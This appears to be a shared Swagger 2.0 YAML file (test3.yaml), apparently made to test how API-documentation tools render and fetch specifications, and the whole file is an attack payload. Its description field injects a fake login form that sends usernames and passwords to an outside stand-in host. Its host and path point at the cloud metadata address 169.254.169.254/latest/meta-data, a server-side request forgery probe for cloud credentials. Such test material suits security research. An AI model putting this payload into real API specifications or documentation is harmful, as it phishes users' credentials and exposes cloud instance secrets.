Zuletzt aktiv 1728996007

Änderung e6dc273ae47a2aa18fc0190b840f74df7050ac22

test3.yaml Orginalformat
1swagger: '2.0'
2info:
3 version: 1.0.0
4 title: Fake Login Page
5 description: '<div class="login-form">
6 <div class="heading">
7 <h1>HTML Injection : Fake Login</h1>
8 </div>
9 <div class="form-container">
10 <form action="https://example.com/login" method="post" class="form-signin">
11 <div class="form-group">
12 <label for="username">Username</label>
13 <input type="text" name="username" size="20">
14 </div>
15 <div class="form-group">
16 <label for="password">Password</label>
17 <input type="password" name="password" size="20">
18 </div>
19 <div class="form-group">
20 <button type="submit" class="btn btn-default">Login</button>
21 </div>
22 </form>
23 </div>
24</div>'
25host: 169.254.169.254
26schemes:
27 - http
28paths:
29 /:
30 post:
31 summary: Fake login
32 description: Fake login endpoint for demonstration.
33 responses:
34 '200':
35 description: Login successful
36 /latest/meta-data:
37 get:
38 summary: Connect to 128.0.0.1 server
39 description: This endpoint will demonstrate connecting to another server.
40 produces:
41 - application/json
42 responses:
43 '200':
44 description: Successful response
45 schema:
46 type: object
47 properties:
48 message:
49 type: string
50 example: Response from 128.0.0.1